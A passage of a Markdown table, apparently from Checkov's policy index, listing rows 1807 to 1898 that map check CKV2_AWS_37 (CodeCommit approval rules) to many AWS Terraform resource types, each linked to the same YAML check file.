[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1807 | CKV2_AWS_37     | resource | aws_sagemaker_servicecatalog_portfolio_status                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1808 | CKV2_AWS_37     | resource | aws_sagemaker_space                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1809 | CKV2_AWS_37     | resource | aws_sagemaker_studio_lifecycle_config                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1810 | CKV2_AWS_37     | resource | aws_sagemaker_user_profile                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1811 | CKV2_AWS_37     | resource | aws_sagemaker_workforce                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1812 | CKV2_AWS_37     | resource | aws_sagemaker_workteam                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1813 | CKV2_AWS_37     | resource | aws_scheduler_schedule                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1814 | CKV2_AWS_37     | resource | aws_scheduler_schedule_group                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1815 | CKV2_AWS_37     | resource | aws_schemas_discoverer                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1816 | CKV2_AWS_37     | resource | aws_schemas_registry                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1817 | CKV2_AWS_37     | resource | aws_schemas_registry_policy                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1818 | CKV2_AWS_37     | resource | aws_schemas_schema                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1819 | CKV2_AWS_37     | resource | aws_secretsmanager_secret                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1820 | CKV2_AWS_37     | resource | aws_secretsmanager_secret_policy                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1821 | CKV2_AWS_37     | resource | aws_secretsmanager_secret_rotation                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1822 | CKV2_AWS_37     | resource | aws_secretsmanager_secret_version                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1823 | CKV2_AWS_37     | resource | aws_security_group                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1824 | CKV2_AWS_37     | resource | aws_security_group_rule                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1825 | CKV2_AWS_37     | resource | aws_securityhub_account                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1826 | CKV2_AWS_37     | resource | aws_securityhub_action_target                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1827 | CKV2_AWS_37     | resource | aws_securityhub_automation_rule                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1828 | CKV2_AWS_37     | resource | aws_securityhub_configuration_policy                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1829 | CKV2_AWS_37     | resource | aws_securityhub_configuration_policy_association                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1830 | CKV2_AWS_37     | resource | aws_securityhub_finding_aggregator                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1831 | CKV2_AWS_37     | resource | aws_securityhub_insight                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1832 | CKV2_AWS_37     | resource | aws_securityhub_invite_accepter                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1833 | CKV2_AWS_37     | resource | aws_securityhub_member                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1834 | CKV2_AWS_37     | resource | aws_securityhub_organization_admin_account                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1835 | CKV2_AWS_37     | resource | aws_securityhub_organization_configuration                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1836 | CKV2_AWS_37     | resource | aws_securityhub_product_subscription                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1837 | CKV2_AWS_37     | resource | aws_securityhub_standards_control                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1838 | CKV2_AWS_37     | resource | aws_securityhub_standards_control_association                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1839 | CKV2_AWS_37     | resource | aws_securityhub_standards_subscription                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1840 | CKV2_AWS_37     | resource | aws_securitylake_aws_log_source                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1841 | CKV2_AWS_37     | resource | aws_securitylake_custom_log_source                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1842 | CKV2_AWS_37     | resource | aws_securitylake_data_lake                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1843 | CKV2_AWS_37     | resource | aws_securitylake_subscriber                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1844 | CKV2_AWS_37     | resource | aws_securitylake_subscriber_notification                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1845 | CKV2_AWS_37     | resource | aws_serverlessapplicationrepository_cloudformation_stack         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1846 | CKV2_AWS_37     | resource | aws_service_discovery_http_namespace                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1847 | CKV2_AWS_37     | resource | aws_service_discovery_instance                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1848 | CKV2_AWS_37     | resource | aws_service_discovery_private_dns_namespace                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1849 | CKV2_AWS_37     | resource | aws_service_discovery_public_dns_namespace                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1850 | CKV2_AWS_37     | resource | aws_service_discovery_service                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1851 | CKV2_AWS_37     | resource | aws_servicecatalog_budget_resource_association                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1852 | CKV2_AWS_37     | resource | aws_servicecatalog_constraint                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1853 | CKV2_AWS_37     | resource | aws_servicecatalog_organizations_access                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1854 | CKV2_AWS_37     | resource | aws_servicecatalog_portfolio                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1855 | CKV2_AWS_37     | resource | aws_servicecatalog_portfolio_share                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1856 | CKV2_AWS_37     | resource | aws_servicecatalog_principal_portfolio_association               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1857 | CKV2_AWS_37     | resource | aws_servicecatalog_product                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1858 | CKV2_AWS_37     | resource | aws_servicecatalog_product_portfolio_association                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1859 | CKV2_AWS_37     | resource | aws_servicecatalog_provisioned_product                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1860 | CKV2_AWS_37     | resource | aws_servicecatalog_provisioning_artifact                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1861 | CKV2_AWS_37     | resource | aws_servicecatalog_service_action                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1862 | CKV2_AWS_37     | resource | aws_servicecatalog_tag_option                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1863 | CKV2_AWS_37     | resource | aws_servicecatalog_tag_option_resource_association               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1864 | CKV2_AWS_37     | resource | aws_servicecatalogappregistry_application                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1865 | CKV2_AWS_37     | resource | aws_servicecatalogappregistry_attribute_group                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1866 | CKV2_AWS_37     | resource | aws_servicecatalogappregistry_attribute_group_association        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1867 | CKV2_AWS_37     | resource | aws_servicequotas_service_quota                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1868 | CKV2_AWS_37     | resource | aws_servicequotas_template                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1869 | CKV2_AWS_37     | resource | aws_servicequotas_template_association                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1870 | CKV2_AWS_37     | resource | aws_ses_active_receipt_rule_set                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1871 | CKV2_AWS_37     | resource | aws_ses_configuration_set                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1872 | CKV2_AWS_37     | resource | aws_ses_domain_dkim                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1873 | CKV2_AWS_37     | resource | aws_ses_domain_identity                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1874 | CKV2_AWS_37     | resource | aws_ses_domain_identity_verification                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1875 | CKV2_AWS_37     | resource | aws_ses_domain_mail_from                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1876 | CKV2_AWS_37     | resource | aws_ses_email_identity                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1877 | CKV2_AWS_37     | resource | aws_ses_event_destination                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1878 | CKV2_AWS_37     | resource | aws_ses_identity_notification_topic                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1879 | CKV2_AWS_37     | resource | aws_ses_identity_policy                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1880 | CKV2_AWS_37     | resource | aws_ses_receipt_filter                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1881 | CKV2_AWS_37     | resource | aws_ses_receipt_rule                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1882 | CKV2_AWS_37     | resource | aws_ses_receipt_rule_set                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1883 | CKV2_AWS_37     | resource | aws_ses_template                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1884 | CKV2_AWS_37     | resource | aws_sesv2_account_suppression_attributes                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1885 | CKV2_AWS_37     | resource | aws_sesv2_account_vdm_attributes                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1886 | CKV2_AWS_37     | resource | aws_sesv2_configuration_set                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1887 | CKV2_AWS_37     | resource | aws_sesv2_configuration_set_event_destination                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1888 | CKV2_AWS_37     | resource | aws_sesv2_contact_list                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1889 | CKV2_AWS_37     | resource | aws_sesv2_dedicated_ip_assignment                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1890 | CKV2_AWS_37     | resource | aws_sesv2_dedicated_ip_pool                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1891 | CKV2_AWS_37     | resource | aws_sesv2_email_identity                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1892 | CKV2_AWS_37     | resource | aws_sesv2_email_identity_feedback_attributes                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1893 | CKV2_AWS_37     | resource | aws_sesv2_email_identity_mail_from_attributes                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1894 | CKV2_AWS_37     | resource | aws_sesv2_email_identity_policy                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1895 | CKV2_AWS_37     | resource | aws_sfn_activity                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1896 | CKV2_AWS_37     | resource | aws_sfn_alias                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1897 | CKV2_AWS_37     | resource | aws_sfn_state_machine                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1898 | CKV2_AWS_37     | resource | aws_shield_application_layer_automatic_response                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | 